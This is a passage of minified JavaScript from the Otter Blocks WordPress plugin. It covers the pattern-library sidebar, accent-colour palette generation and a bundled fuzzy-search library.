4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})}),C=(0,h.jsxs)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,h.jsx)(l.Path,{d:"M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z"}),(0,h.jsx)(l.Path,{d:"M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z"})]}),M=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"})}),A=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zm-2.8 0H9.8V7c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3z"})}),N=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z"})});const S=[{color:"#2563eb",label:(0,e.__)("Blue","otter-blocks")},{color:"#059669",label:(0,e.__)("Green","otter-blocks")},{color:"#e11d48",label:(0,e.__)("Red","otter-blocks")}],B=[50,100,200,300,400,500,600,700,800,900,950],F={50:.975,100:.94,200:.89,300:.81,400:.71,500:.62,600:.55,700:.48,800:.42,900:.37,950:.27},E={50:.013,100:.027,200:.055,300:.1,400:.16,500:.21,600:.23,700:.2,800:.17,900:.13,950:.085},P={red:27,orange:50,amber:76,yellow:96,lime:130,green:148,emerald:163,teal:183,cyan:215,sky:230,blue:263,indigo:275,violet:293,purple:303,fuchsia:322,pink:350,rose:18},D={50:"#eef2ff",100:"#e0e7ff",200:"#c7d2fe",300:"#a5b4fc",400:"#818cf8",500:"#6366f1",600:"#4f46e5",700:"#4338ca",800:"#3730a3",900:"#312e81",950:"#1e1b4b"},z=e=>{const t=e/255;return.04045>=t?t/12.92:Math.pow((t+.055)/1.055,2.4)},L=e=>{let t=e.replace("#","");3===t.length&&(t=t.split("").map((e=>e+e)).join(""));const s=z(parseInt(t.slice(0,2),16)),r=z(parseInt(t.slice(2,4),16)),i=z(parseInt(t.slice(4,6),16)),o=Math.cbrt(.4122214708*s+.5363325363*r+.0514459929*i),n=Math.cbrt(.2119034982*s+.6806995451*r+.1073969566*i),a=Math.cbrt(.0883024619*s+.2817188376*r+.6299787005*i),c=.2104542553*o+.793617785*n-.0040720468*a,l=1.9779984951*o-2.428592205*n+.4505937099*a,h=.0259040371*o+.7827717662*n-.808675766*a,u=Math.sqrt(l*l+h*h);let d=180*Math.atan2(h,l)/Math.PI;return 0>d&&(d+=360),{L:c,C:u,H:d}},I=(e,t,s)=>{const r=t*Math.cos(s*Math.PI/180),i=t*Math.sin(s*Math.PI/180),o=Math.pow(e+.3963377774*r+.2158037573*i,3),n=Math.pow(e-.1055613458*r-.0638541728*i,3),a=Math.pow(e-.0894841775*r-1.291485548*i,3);return[4.0767416621*o-3.3077115913*n+.2309699292*a,-1.2684380046*o+2.6097574011*n-.3413193965*a,-.0041960863*o-.7034186147*n+1.707614701*a]},R=new Map,V=(e,t,s=null)=>{const r=Math.round(e)+":"+t.toFixed(3)+":"+(s||"");if(!R.has(r)){const i=Math.min(t/.23,1.15),o={};let n=null,a=0;if(s){const{L:e}=L(s);n=.45<=e&&.65>=e?600:B.reduce(((t,s)=>Math.abs(F[s]-e)<Math.abs(F[t]-e)?s:t)),a=e-F[n]}B.forEach((t=>{o[t]=((e,t,s)=>{let r=I(e,t,s);if(r.some((e=>-1e-4>e||1.0001<e))){let i=0,o=t;for(let t=0;12>t;t++){const t=(i+o)/2;r=I(e,t,s),r.some((e=>-1e-4>e||1.0001<e))?o=t:i=t}r=I(e,i,s)}return"#"+r.map((e=>(e=>{const t=.0031308>=e?12.92*e:1.055*Math.pow(e,1/2.4)-.055;return Math.round(255*Math.min(1,Math.max(0,t)))})(e).toString(16).padStart(2,"0"))).join("")})(Math.min(.99,Math.max(.05,F[t]+a)),E[t]*i,e)})),s&&(o[n]=s.toLowerCase()),R.set(r,o)}return R.get(r)},O=Object.keys(P).join("|"),$=B.join("|"),G=new RegExp(`-(${O})-(${$})\\b`,"g"),T=new RegExp(`([a-z]+)-(${O})-(${$})\\b`,"g"),W=["from","via","to"],H=new Map,q=(e,t)=>{const s=(e=>{if(!H.has(e.name)){const t={},s={},r=[];for(const i of(e.content||"").matchAll(T)){const[,e,o]=i;t[o]=(t[o]||0)+1,"text"!==e&&(s[o]=(s[o]||0)+1),W.includes(e)&&!r.includes(o)&&r.push(o)}const i=Object.keys(t),o=["amber","yellow"];let n=i.filter((e=>0<(s[e]||0)));if(n.length||(n=i.filter((e=>!o.includes(e)))),n.length){const i=n.sort(((e,r)=>(s[r]||0)-(s[e]||0)||t[r]-t[e]))[0];H.set(e.name,[i,...r.filter((e=>e!==i))])}else H.set(e.name,[])}return H.get(e.name)})(e);if(!s.length)return null;const{C:r,H:i}=L(t),o=P[s[0]],n={};return s.forEach(((e,s)=>{const a=P[e]-o;let c=((i+a)%360+360)%360;const l=e=>62<e&&140>e;if(0!==s&&l(c)&&!l(i)){const e=((i-a)%360+360)%360;l(e)||(c=e)}n[e]=V(c,r,0===s?t:null)})),n},Z={};B.forEach((e=>{Z[e]=new RegExp(D[e],"gi")}));const Q=e=>B.some((t=>(Z[t].lastIndex=0,Z[t].test(e)))),K=(e,t)=>{let s=e;return B.forEach((e=>{Z[e].lastIndex=0,s=s.replace(Z[e],t[e])})),s},U=new Map,J=(e,t)=>{if(!t)return{pattern:e,css:""};const s=e.name+"|"+t;if(!U.has(s)){const r=q(e,t);let i="";r&&(i=`:root, body { ${Object.keys(r).flatMap((e=>B.map((t=>`--color-${e}-${t}: ${r[e][t]} !important;`)))).join(" ")} }`);let o={pattern:e,css:i};if(Q(e.content||"")){const{C:s,H:r}=L(t),n=V(r,s,t);o={pattern:{...e,name:e.name+"@"+t,baseName:e.name,content:K(e.content,n)},css:i}}U.set(s,o)}return U.get(s)},X=({id:e,label:t,count:s,isActive:r,onSelect:i,className:o,children:n,afterLabel:a})=>(0,h.jsxs)("button",{className:c()("o-library__cat",o,{"is-active":r}),onClick:()=>i(e),children:[n,(0,h.jsx)("span",{className:"o-library__cat-label",children:t}),a,void 0!==s&&(0,h.jsx)("span",{className:"o-library__count",children:s})]}),Y=[{rows:[62,74,58]},{rows:[70,54,80,66]},{rows:[60,76]}],ee=()=>(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)("div",{className:"o-library__cat is-skeleton",children:(0,h.jsx)("span",{className:"o-library__shimmer",style:{width:"55%",height:13,borderRadius:4}})}),Y.map(((e,t)=>(0,h.jsxs)("div",{className:"o-library__group",children:[(0,h.jsx)("div",{className:"o-library__group-head is-static",children:(0,h.jsx)("span",{className:"o-library__shimmer",style:{width:86,height:9,borderRadius:3}})}),(0,h.jsx)("div",{className:"o-library__group-body",children:e.rows.map(((e,t)=>(0,h.jsx)("div",{className:"o-library__cat is-skeleton",children:(0,h.jsx)("span",{className:"o-library__shimmer",style:{width:`${e}%`,height:12,borderRadius:4}})},t)))})]},t)))]}),te=({accent:s,setAccent:i,isLoading:o})=>{const[n,a]=(0,r.useState)(!1),l=Boolean(s)&&!S.some((e=>e.color===s));return o?(0,h.jsxs)("div",{className:"o-library__accent",children:[(0,h.jsx)("div",{className:"o-library__accent-head",children:(0,e.__)("Accent color","otter-blocks")}),(0,h.jsx)("div",{className:"o-library__accent-row","aria-hidden":"true",children:Array.from({length:S.length+2}).map(((e,t)=>(0,h.jsx)("span",{className:"o-library__shimmer",style:{width:26,height:26,borderRadius:"50%"}},t)))})]}):(0,h.jsxs)("div",{className:"o-library__accent",children:[(0,h.jsx)("div",{className:"o-library__accent-head",children:(0,e.__)("Accent color","otter-blocks")}),(0,h.jsxs)("div",{className:"o-library__accent-row",children:[(0,h.jsx)("button",{className:c()("o-library__swatch is-default",{"is-active":!s}),title:(0,e.__)("Original colors","otter-blocks"),"aria-label":(0,e.__)("Original colors","otter-blocks"),onClick:()=>i(null)}),S.map((e=>(0,h.jsx)("button",{className:c()("o-library__swatch",{"is-active":s===e.color}),style:{background:e.color},title:e.label,"aria-label":e.label,onClick:()=>i(e.color)},e.color))),(0,h.jsxs)("span",{className:"o-library__swatch-wrap",children:[(0,h.jsx)("button",{className:c()("o-library__swatch is-custom",{"is-active":l}),style:l?{background:s}:void 0,title:(0,e.__)("Custom color","otter-blocks"),"aria-label":(0,e.__)("Custom color","otter-blocks"),onClick:()=>a(!n)}),n&&(0,h.jsx)(t.Popover,{className:"o-library__accent-popover",placement:"top-start",onClose:()=>a(!1),children:(0,h.jsx)(t.ColorPicker,{color:l?s:"#2563eb",enableAlpha:!1,onChange:e=>i(e.slice(0,7))})})]})]})]})};var se=({mode:t,setMode:s,activeCategory:i,setActiveCategory:o,sectionGroups:n,collections:a,tcCategories:l,counts:u,isLoading:d,accent:m,setAccent:g,showCloudPlaceholder:p,cloudEmptyCategory:f})=>{const[_,v]=(0,r.useState)([]),y=[{id:"sections",icon:j,label:(0,e.__)("Sections","otter-blocks")},{id:"pages",icon:C,label:(0,e.__)("Pages","otter-blocks")}];return(0,h.jsxs)("aside",{className:"o-library__sidebar",children:[(0,h.jsx)("div",{className:"o-library__seg-wrap",children:y.map((e=>(0,h.jsxs)("button",{className:c()("o-library__seg",{"is-active":t===e.id}),onClick:()=>s(e.id),children:[(0,h.jsx)(b,{icon:e.icon,size:20}),e.label]},e.id)))}),(0,h.jsxs)("nav",{className:"o-library__nav","aria-busy":d,children:[d&&(0,h.jsx)(ee,{}),!d&&(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(X,{id:"all",label:"pages"===t?(0,e.__)("All Pages","otter-blocks"):(0,e.__)("All Sections","otter-blocks"),count:u.all,isActive:"all"===i,onSelect:o}),"sections"===t&&n.map((e=>(0,h.jsxs)("div",{className:"o-library__group",children:[(0,h.jsxs)("button",{className:"o-library__group-head",onClick:()=>{return t=e.id,void v((e=>e.includes(t)?e.filter((e=>e!==t)):[...e,t]));var t},children:[(0,h.jsx)(b,{icon:M,size:20,style:{transform:_.includes(e.id)?"rotate(-90deg)":"none"}}),e.label]}),!_.includes(e.id)&&(0,h.jsx)("div",{className:"o-library__group-body",children:e.categories.map((e=>(0,h.jsx)(X,{id:e.name,label:e.label,count:u[e.name]||0,isActive:i===e.name,onSelect:o},e.name)))})]},e.id))),"pages"===t&&Boolean(a.length)&&(0,h.jsxs)("div",{className:"o-library__group",children:[(0,h.jsx)("div",{className:"o-library__group-head is-static",children:(0,e.__)("Collections","otter-blocks")}),(0,h.jsx)("div",{className:"o-library__group-body",children:a.map((t=>(0,h.jsx)(X,{id:t.name,label:t.label,count:u[t.name]||0,isActive:i===t.name,onSelect:o,className:"is-collection",afterLabel:t.isPro?(0,h.jsx)("span",{className:"o-library__coll-lock",title:(0,e.__)("Pro","otter-blocks"),children:(0,h.jsx)(b,{icon:A,size:14})}):void 0},t.name)))})]}),"sections"===t&&Boolean(l.length)&&(0,h.jsxs)("div",{className:"o-library__group",children:[(0,h.jsx)("div",{className:"o-library__group-head is-static",children:(0,e.__)("Cloud Libraries","otter-blocks")}),(0,h.jsx)("div",{className:"o-library__group-body",children:l.map((e=>(0,h.jsx)(X,{id:e.name,label:e.label,count:u[e.name]||0,isActive:i===e.name,onSelect:o},e.name)))})]}),"sections"===t&&p&&(0,h.jsxs)("div",{className:"o-library__group",children:[(0,h.jsx)("div",{className:"o-library__group-head is-static",children:(0,e.__)("Cloud Libraries","otter-blocks")}),(0,h.jsx)("div",{className:"o-library__group-body",children:(0,h.jsx)(X,{id:f,label:(0,e.__)("Add Sources","otter-blocks"),isActive:i===f,onSelect:o})})]})]})]}),(0,h.jsx)(te,{accent:m,setAccent:g,isLoading:d}),!Boolean(window.themeisleGutenberg?.hasPro)&&(0,h.jsxs)("a",{className:"o-library__upsell",href:"https://themeisle.com/plugins/otter-blocks/patterns/",target:"_blank",rel:"noopener noreferrer",children:[(0,h.jsx)(b,{icon:N,size:24}),(0,h.jsxs)("div",{children:[(0,h.jsx)("strong",{children:(0,e.__)("Premium Designs","otter-blocks")}),(0,h.jsx)("span",{children:(0,e.__)("Unlock more with Otter Pro","otter-blocks")})]})]})]})},re=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})}),ie=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M15 7.5h-5v10h5v-10Zm1.5 0v10H19a.5.5 0 0 0 .5-.5V8a.5.5 0 0 0-.5-.5h-2.5ZM6 7.5h2.5v10H6a.5.5 0 0 1-.5-.5V8a.5.5 0 0 1 .5-.5ZM6 6h13a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2Z"})}),oe=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z"})});function ne(e){return Array.isArray?Array.isArray(e):"[object Array]"===me(e)}function ae(e){return null==e?"":function(e){if("string"==typeof e)return e;if("bigint"==typeof e)return e.toString();const t=e+"";return"0"==t&&1/e==-1/0?"-0":t}(e)}function ce(e){return"string"==typeof e}function le(e){return"number"==typeof e}function he(e){return"object"==typeof e}function ue(e){return null!=e}function de(e){return!e.trim().length}function me(e){return null==e?void 0===e?"[object Undefined]":"[object Null]":Object.prototype.toString.call(e)}const ge="Invalid doc index: must be a non-negative integer within the bounds of the docs array",pe=Object.prototype.hasOwnProperty;var fe=class{constructor(e){this._keys=[],this._keyMap={};let t=0;e.forEach((e=>{const s=be(e);this._keys.push(s),this._keyMap[s.id]=s,t+=s.weight})),this._keys.forEach((e=>{e.weight/=t}))}get(e){return this._keyMap[e]}keys(){return this._keys}toJSON(){return JSON.stringify(this._keys)}};function be(e){let t=null,s=null,r=null,i=1,o=null;if(ce(e)||ne(e))r=e,t=_e(e),s=ve(e);else{if(!pe.call(e,"name"))throw new Error("Missing name property in key");const n=e.name;if(r=n,pe.call(e,"weight")&&void 0!==e.weight&&(i=e.weight,i<=0))throw new Error((e=>`Property 'weight' in key '${e}' must be a positive integer`)(ve(n)));t=_e(n),s=ve(n),o=e.getFn??null}return{path:t,id:s,weight:i,src:r,getFn:o}}function _e(e){return ne(e)?e:e.split(".")}function ve(e){return ne(e)?e.join("."):e}const ye={useExtendedSearch:!1,useTokenSearch:!1,tokenize:void 0,tokenMatch:"any",getFn:function(e,t){const s=[];let r=!1;const i=(e,t,o,n)=>{if(ue(e))if(t[o]){const a=e[t[o]];if(!ue(a))return;if(o===t.length-1&&(ce(a)||le(a)||function(e){return!0===e||!1===e||function(e){return he(e)&&null!==e}(e)&&"[object Boolean]"==me(e)}(a)||"bigint"==typeof a))s.push(void 0!==n?{v:ae(a),i:n}:ae(a));else if(ne(a)){r=!0;for(let e=0,s=a.length;e<s;e+=1)i(a[e],t,o+1,e)}else t.length&&i(a,t,o+1,n)}else s.push(void 0!==n?{v:e,i:n}:e)};return i(e,ce(t)?t.split("."):t,0),r?s:s[0]},ignoreLocation:!1,ignoreFieldNorm:!1,fieldNormWeight:1},ke=Object.freeze({isCaseSensitive:!1,ignoreDiacritics:!1,includeScore:!1,keys:[],shouldSort:!0,sortFn:(e,t)=>e.score===t.score?e.idx<t.idx?-1:1:e.score<t.score?-1:1,includeMatches:!1,findAllMatches:!1,minMatchCharLength:1,location:0,threshold:.6,distance:100,...ye});var xe=class{constructor({getFn:e=ke.getFn,fieldNormWeight:t=ke.fieldNormWeight}={}){this.norm=function(e=1,t=3){const s=new Map,r=Math.pow(10,t);return{get(t){let i=1,o=!1;for(let e=0;e<t.length;e++)32===t.charCodeAt(e)?o||(i++,o=!0):o=!1;if(s.has(i))return s.get(i);const n=Math.round(r/Math.pow(i,.5*e))/r;return s.set(i,n),n},clear(){s.clear()}}}(t,3),this.getFn=e,this.isCreated=!1,this.docs=[],this.keys=[],this._keysMap={},this.setIndexRecords()}setSources(e=[]){this.docs=e}setIndexRecords(e=[]){this.records=e}setKeys(e=[]){this.keys=e,this._keysMap={},e.forEach(((e,t)=>{this._keysMap[e.id]=t}))}create(){if(this.isCreated||!this.docs.length)return;this.isCreated=!0;const e=this.docs.length;this.records=new Array(e);let t=0;if(ce(this.docs[0]))for(let s=0;s<e;s++){const e=this._createStringRecord(this.docs[s],s);e&&(this.records[t++]=e)}else for(let s=0;s<e;s++)this.records[t++]=this._createObjectRecord(this.docs[s],s);this.records.length=t,this.norm.clear()}add(e,t){if(!Number.isInteger(t)||t<0)throw new Error(ge);if(ce(e)){const s=this._createStringRecord(e,t);return s&&this.records.push(s),s}const s=this._createObjectRecord(e,t);return this.records.push(s),s}removeAt(e){if(!Number.isInteger(e)||e<0)throw new Error(ge);for(let t=0,s=this.records.length;t<s;t+=1)if(this.records[t].i===e){this.records.splice(t,1);break}for(let t=0,s=this.records.length;t<s;t+=1)this.records[t].i>e&&(this.records[t].i-=1)}removeAll(e){const t=new Set;for(const s of e)Number.isInteger(s)&&s>=0&&t.add(s);if(0===t.size)return;this.records=this.records.filter((e=>!t.has(e.i)));const s=Array.from(t).sort(((e,t)=>e-t));for(const e of this.records){let t=0,r=s.length;for(;t<r;){const i=t+r>>>1;s[i]<e.i?t=i+1:r=i}e.i-=t}}getValueForItemAtKeyId(e,t){return e[this._keysMap[t]]}size(){return this.records.length}_createStringRecord(e,t){return!ue(e)||de(e)?null:{v:e,i:t,n:this.norm.get(e)}}_createObjectRecord(e,t){const s={i:t,$:{}};for(let t=0,r=this.keys.length;t<r;t++){const r=this.keys[t],i=r.getFn?r.getFn(e):this.getFn(e,r.path);if(ue(i))if(ne(i)){const e=[];for(let t=0,s=i.length;t<s;t+=1){const s=i[t];if(ue(s))if(ce(s)){if(!de(s)){const r={v:s,i:t,n:this.norm.get(s)};e.push(r)}}else if(ue(s.v)){const t=ce(s.v)?s.v:ae(s.v);if(!de(t)){const r={v:t,i:s.i,n:this.norm.get(t)};e.push(r)}}}s.$[t]=e}else if(ce(i)&&!de(i)){const e={v:i,n:this.norm.get(i)};s.$[t]=e}}return s}toJSON(){return{keys:this.keys.map((({getFn:e,...t})=>t)),records:this.records}}};function we(e,t,{getFn:s=ke.getFn,fieldNormWeight:r=ke.fieldNormWeight}={}){const i=new xe({getFn:s,fieldNormWeight:r});return i.setKeys(e.map(be)),i.setSources(t),i.create(),i}function je(e){const t={};for(let s=0,r=e.length;s<r;s+=1){const i=e.charAt(s);t[i]=(t[i]||0)|1<<r-s-1}return t}function Ce(e){if(e.length<=1)return e;e.sort(((e,t)=>e[0]-t[0]||e[1]-t[1]));const t=[e[0]];for(let s=1,r=e.length;s<r;s+=1){const r=t[t.length-1],i=e[s];i[0]<=r[1]+1?r[1]=Math.max(r[1],i[1]):t.push(i)}return t}const Me={"ł":"l","Ł":"L","đ":"d","Đ":"D","ø":"o","Ø":"O","ħ":"h","Ħ":"H","ŧ":"t","Ŧ":"T","ı":"i","ß":"ss"},Ae=new RegExp("["+Object.keys(Me).join("")+"]","g"),Ne="function"==typeof String.prototype.normalize?e=>e.normalize("NFD").replace(/[\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u08D3-\u08E1\u08E3-\u0903\u093A-\u093C\u093E-\u094F\u0951-\u0957\u0962\u0963\u0981-\u0983\u09BC\u09BE-\u09C4\u09C7\u09C8\u09CB-\u09CD\u09D7\u09E2\u09E3\u09FE\u0A01-\u0A03\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81-\u0A83\u0ABC\u0ABE-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01-\u0B03\u0B3C\u0B3E-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B56\u0B57\u0B62\u0B63\u0B82\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD7\u0C00-\u0C04\u0C3E-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81-\u0C83\u0CBC\u0CBE-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CE2\u0CE3\u0D00-\u0D03\u0D3B\u0D3C\u0D3E-\u0D44\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D62\u0D63\u0D82\u0D83\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DF2\u0DF3\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EB9\u0EBB\u0EBC\u0EC8-\u0ECD\u0F18\u0F19\u0F35\u0F37\u0F39\u0F3E\u0F3F\u0F71-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102B-\u103E\u1056-\u1059\u105E-\u1060\u1062-\u1064\u1067-\u106D\u1071-\u1074\u1082-\u108D\u108F\u109A-\u109D\u135D-\u135F\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17B4-\u17D3\u17DD\u180B-\u180D\u1885\u1886\u18A9\u1920-\u192B\u1930-\u193B\u1A17-\u1A1B\u1A55-\u1A5E\u1A60-\u1A7C\u1A7F\u1AB0-\u1ABE\u1B00-\u1B04\u1B34-\u1B44\u1B6B-\u1B73\u1B80-\u1B82\u1BA1-\u1BAD\u1BE6-\u1BF3\u1C24-\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE8\u1CED\u1CF2-\u1CF4\u1CF7-\u1CF9\u1DC0-\u1DF9\u1DFB-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302F\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA823-\uA827\uA880\uA881\uA8B4-\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA953\uA980-\uA983\uA9B3-\uA9C0\uA9E5\uAA29-\uAA36\uAA43\uAA4C\uAA4D\uAA7B-\uAA7D\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEB-\uAAEF\uAAF5\uAAF6\uABE3-\uABEA\uABEC\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F]/g,"").replace(Ae,(e=>Me[e])):e=>e;var Se=class{constructor(e,{location:t=ke.location,threshold:s=ke.threshold,distance:r=ke.distance,includeMatches:i=ke.includeMatches,findAllMatches:o=ke.findAllMatches,minMatchCharLength:n=ke.minMatchCharLength,isCaseSensitive:a=ke.isCaseSensitive,ignoreDiacritics:c=ke.ignoreDiacritics,ignoreLocation:l=ke.ignoreLocation}={}){if(this.options={location:t,threshold:s,distance:r,includeMatches:i,findAllMatches:o,minMatchCharLength:n,isCaseSensitive:a,ignoreDiacritics:c,ignoreLocation:l},e=a?e:e.toLowerCase(),e=c?Ne(e):e,this.pattern=e,this.chunks=[],!this.pattern.length)return;const h=(e,t)=>{this.chunks.push({pattern:e,alphabet:je(e),startIndex:t})},u=this.pattern.length;if(u>32){let e=0;const t=u%32,s=u-t;for(;e<s;)h(this.pattern.substr(e,32),e),e+=32;if(t){const e=u-32;h(this.pattern.substr(e),e)}}else h(this.pattern,0)}searchIn(e){const{isCaseSensitive:t,ignoreDiacritics:s,includeMatches:r}=this.options;if(e=t?e:e.toLowerCase(),e=s?Ne(e):e,this.pattern===e){const t={isMatch:!0,score:0};return r&&(t.indices=[[0,e.length-1]]),t}const{location:i,distance:o,threshold:n,findAllMatches:a,minMatchCharLength:c,ignoreLocation:l}=this.options,h=[];let u=0,d=!1;this.chunks.forEach((({pattern:t,alphabet:s,startIndex:m})=>{const{isMatch:g,score:p,indices:f}=function(e,t,s,{location:r=ke.location,distance:i=ke.distance,threshold:o=ke.threshold,findAllMatches:n=ke.findAllMatches,minMatchCharLength:a=ke.minMatchCharLength,includeMatches:c=ke.includeMatches,ignoreLocation:l=ke.ignoreLocation}={}){if(t.length>32)throw new Error("Pattern length exceeds max of 32.");const h=t.length,u=e.length,d=Math.max(0,Math.min(r,u));let m=o,g=d;const p=(e,t)=>{const s=e/h;if(l)return s;const r=Math.abs(d-t);return i?s+r/i:r?1:s},f=a>1||c,b=f?Array(u):[];let _;for(;(_=e.indexOf(t,g))>-1;){const e=p(0,_);if(m=Math.min(e,m),g=_+h,f){let e=0;for(;e<h;)b[_+e]=1,e+=1}}g=-1;let v=[],y=1,k=0,x=h+u;const w=1<<h-1;for(let t=0;t<h;t+=1){let r=0,i=x;for(;r<i;)p(t,d+i)<=m?r=i:x=i,i=Math.floor((x-r)/2+r);x=i;let o=Math.max(1,d-i+1);const a=n?u:Math.min(d+i,u)+h,c=Array(a+2);c[a+1]=(1<<t)-1;for(let r=a;r>=o;r-=1){const i=r-1,n=s[e[i]];if(c[r]=(c[r+1]<<1|1)&n,t&&(c[r]|=(v[r+1]|v[r])<<1|1|v[r+1]),c[r]&w&&(y=p(t,i),y<=m)){if(m=y,g=i,k=t,g<=d)break;o=Math.max(1,2*d-g)}}if(p(t+1,d)>m)break;v=c}if(f&&g>=0){const t=Math.min(u-1,g+h-1+k);for(let r=g;r<=t;r+=1)s[e[r]]&&(b[r]=1)}const j={isMatch:g>=0,score:Math.max(.001,y)};if(f){const e=function(e=[],t=ke.minMatchCharLength){const s=[];let r=-1,i=-1,o=0;for(let n=e.length;o<n;o+=1){const n=e[o];n&&-1===r?r=o:n||-1===r||(i=o-1,i-r+1>=t&&s.push([r,i]),r=-1)}return e[o-1]&&o-r>=t&&s.push([r,o-1]),s}(b,a);e.length?c&&(j.indices=e):j.isMatch=!1}return j}(e,t,s,{location:i+m,distance:o,threshold:n,findAllMatches:a,minMatchCharLength:c,includeMatches:r,ignoreLocation:l});g&&(d=!0),u+=p,g&&f&&h.push(...f)}));const m={isMatch:d,score:d?u/this.chunks.length:1};return d&&r&&(m.indices=Ce(h)),m}};const Be=new Set(["fuzzy","include"]),Fe=[{type:"exact",multiRegex:/^="(.*)"$/,singleRegex:/^=(.*)$/,create:e=>({type:"exact",search(t){const s=t===e;return{isMatch:s,score:s?0:1,indices:[0,e.length-1]}}})},{type:"include",multiRegex:/^'"(.*)"$/,singleRegex:/^'(.*)$/,create:e=>({type:"include",search(t){let s,r=0;const i=[],o=e.length;for(;(s=t.indexOf(e,r))>-1;)r=s+o,i.push([s,r-1]);const n=!!i.length;return{isMatch:n,score:n?0:1,indices:i}}})},{type:"prefix-exact",multiRegex:/^\^"(.*)"$/,singleRegex:/^\^(.*)$/,create:e=>({type:"prefix-exact",search(t){const s=t.startsWith(e);return{isMatch:s,score:s?0:1,indices:[0,e.length-1]}}})},{type:"inverse-prefix-exact",multiRegex:/^!\^"(.*)"$/,singleRegex:/^!\^(.*)$/,create:e=>({type:"inverse-prefix-exact",search(t){const s=!t.startsWith(e);return{isMatch:s,score:s?0:1,indices:[0,t.length-1]}}})},{type:"inverse-suffix-exact",multiRegex:/^!"(.*)"\$$/,singleRegex:/^!(.*)\$$/,create:e=>({type:"inverse-suffix-exact",search(t){const s=!t.endsWith(e);return{isMatch:s,score:s?0:1,indices:[0,t.length-1]}}})},{type:"suffix-exact",multiRegex:/^"(.*)"\$$/,singleRegex:/^(.*)\$$/,create:e=>({type:"suffix-exact",search(t){const s=t.endsWith(e);return{isMatch:s,score:s?0:1,indices:[t.length-e.length,t.length-1]}}})},{type:"inverse-exact",multiRegex:/^!"(.*)"$/,singleRegex:/^!(.*)$/,create:e=>({type:"inverse-exact",search(t){const s=-1===t.indexOf(e);return{isMatch:s,score:s?0:1,indices:[0,t.length-1]}}})},{type:"fuzzy",multiRegex:/^"(.*)"$/,singleRegex:/^(.*)$/,create:(e,t={})=>{const s=new 